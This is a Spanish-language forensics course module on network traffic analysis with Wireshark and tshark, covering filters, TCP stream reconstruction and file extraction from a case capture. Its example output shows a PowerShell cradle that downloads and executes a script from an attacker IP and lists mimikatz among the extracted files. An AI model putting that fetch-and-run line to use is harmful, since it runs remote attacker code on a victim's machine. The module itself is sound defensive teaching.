Forense de red I: captura y análisis de tráfico
Hasta ahora todo el curso ha analizado lo que queda dentro de un equipo: disco, registro, memoria. Pero buena parte de un incidente ocurre entre equipos — la conexión de entrada del atacante, la exfiltración de datos, la comunicación con su infraestructura. Este módulo abre la fase de red con la herramienta que domina ese terreno desde hace más de dos décadas: Wireshark, y su homóloga de línea de comandos, tshark.
- Entender qué es una captura PCAP y qué información contiene cada paquete.
- Elegir entre Wireshark (interfaz gráfica) y tshark (línea de comandos) según el caso.
- Distinguir filtros de captura (BPF) de filtros de visualización, y cuándo usar cada uno.
- Reconstruir una conversación TCP completa a partir de sus paquetes individuales.
- Extraer ficheros transferidos dentro de una captura de tráfico.
- Saber qué protocolos vigilar primero en un caso de intrusión.
Descarga el paquete de evidencia, descomprímelo y lee el LEEME.md antes de empezar. Verifica el hash según el módulo 2 antes de analizar nada:
SHA-256: 23a78fe79d20c0b59eafa29e8528e262388d2d4f4f81ef44ebe1f91c2c93f18f
Herramientas: Wireshark o tshark
⬇️ Descargar M11_CapturaTrafico.zip Ver solución paso a paso →
1. PCAP: el formato universal de captura
Una captura de tráfico de red (fichero .pcap o, en su variante moderna con más metadatos, .pcapng) almacena, paquete a paquete, los bytes exactos que circularon por la interfaz de red en el momento de la captura: cabeceras completas de cada capa (Ethernet, IP, TCP/UDP, y el payload de aplicación) y la marca de tiempo exacta de llegada de cada uno. Es, en cierto sentido, el equivalente en red a una imagen de disco bit a bit del módulo 2: una copia exacta, no una interpretación.
2. Wireshark vs tshark
| Herramienta | Cuándo usarla |
|---|---|
| Wireshark (interfaz gráfica) | Exploración interactiva de una captura: seguir conversaciones, inspeccionar paquete a paquete, usar "Follow Stream" con un par de clics. |
| tshark (línea de comandos) | Capturas enormes (varios GB), procesamiento por script, extracción automatizada de campos concretos, o un servidor sin entorno gráfico. |
Ambas comparten el mismo motor de disección de protocolos y la misma sintaxis de filtros de visualización — lo que se aprende en una se aplica directamente en la otra.
3. Filtros de captura vs filtros de visualización
Es el error de principiante más común en análisis de tráfico: confundir los dos tipos de filtro, que usan sintaxis completamente distintas.
| Tipo | Sintaxis | Cuándo se aplica | Ejemplo |
|---|---|---|---|
| Filtro de captura (BPF) | Berkeley Packet Filter | Antes de capturar: decide qué paquetes se guardan en el fichero. | host 203.0.113.44 and port 443 |
| Filtro de visualización | Sintaxis propia de Wireshark/tshark | Después de capturar, sobre un PCAP ya guardado: decide qué paquetes se muestran, sin descartar nada del fichero. | ip.addr == 203.0.113.44 && tcp.port == 443 |
En un caso forense casi siempre se trabaja con un PCAP ya capturado por otra persona o por un sensor automático, así que el filtro que más se usa en la práctica es el de visualización: no se puede "recapturar" ya nada, solo elegir qué mirar de lo que ya está guardado.
$ tshark -r captura_caso11.pcapng -Y "http.request || dns"
142 02:04:05.112 10.0.2.15 -> 8.8.8.8 DNS Standard query A update-service.ddns-provider.net
158 02:04:05.340 10.0.2.15 -> 203.0.113.44 HTTP GET /stage2.ps1 HTTP/1.14. Reconstruir una conversación TCP completa
TCP divide una comunicación en multitud de paquetes individuales; "Follow TCP Stream" (en Wireshark, clic derecho sobre un paquete) o su equivalente en tshark los reensambla en el orden correcto y muestra la conversación completa tal y como la vieron las dos máquinas, en texto legible cuando el protocolo no está cifrado:
$ tshark -r captura_caso11.pcapng -z follow,tcp,ascii,1
===================================================================
Follow: tcp,ascii
1 10.0.2.15:49210 -> 203.0.113.44:4444
===================================================================
GET /stage2.ps1 HTTP/1.1
Host: 203.0.113.44
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/plain
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/stage3.ps1')Esta reconstrucción confirma, con el contenido exacto transmitido, exactamente la misma IP y el mismo patrón de descarga en cadena que ya se vio en la línea de comandos capturada en memoria en el módulo 9 — otra corroboración cruzada entre fuentes completamente distintas (memoria viva vs tráfico de red).
5. Extraer ficheros transferidos de una captura
Cuando la transferencia va sobre un protocolo que Wireshark sabe diseccionar (HTTP, SMB, FTP, entre otros), puede reconstruir y exportar directamente los ficheros que viajaron dentro de esos paquetes, sin tener que copiar manualmente el contenido del stream:
$ tshark -r captura_caso11.pcapng --export-objects http,salida_objetos/
salida_objetos/stage2.ps1
salida_objetos/stage3.ps1
salida_objetos/mimikatz.exeCada fichero exportado de esta forma debería pasar directamente al módulo 13 (análisis de malware estático): ya está aislado del tráfico y listo para calcular su hash y analizarlo sin ningún riesgo de ejecutarlo por accidente.
6. Qué protocolos vigilar primero
| Protocolo | Por qué importa en un caso |
|---|---|
| HTTP en claro | Credenciales, tokens de sesión o comandos de C2 viajan legibles — el filtro http.request suele ser el primer paso de cualquier triage de red. |
| DNS | Casi todo malware resuelve un dominio antes de conectar; dominios recién registrados, algorítmicamente generados (DGA) o con TTL muy bajo son indicios fuertes (desarrollado en el módulo 12). |
| SMB | Movimiento lateral dentro de una red interna: copia de ficheros entre equipos, ejecución remota. |
Laboratorio guiado ya publicado en Ghost Academy que puedes usar para practicar esta herramienta:
Wireshark: guía completa · Wireshark: ejercicios · Wireshark: traffic analysis · Tshark
Autoevaluación
- ¿Qué diferencia hay entre un filtro de captura y un filtro de visualización, y por qué en un caso forense casi siempre usas solo el segundo?
- ¿Qué hace exactamente "Follow TCP Stream" y por qué no serviría igual de bien con tráfico cifrado?
- ¿Qué comando de tshark usarías para extraer automáticamente los ficheros transferidos por HTTP en una captura?
- En el ejemplo de este capítulo, ¿qué conexión concreta corrobora, desde el tráfico de red, lo que ya se había visto en el volcado de memoria del módulo 9?
- Nombra tres protocolos que revisarías en los primeros minutos de un triage de una captura de red desconocida, y qué buscarías en cada uno.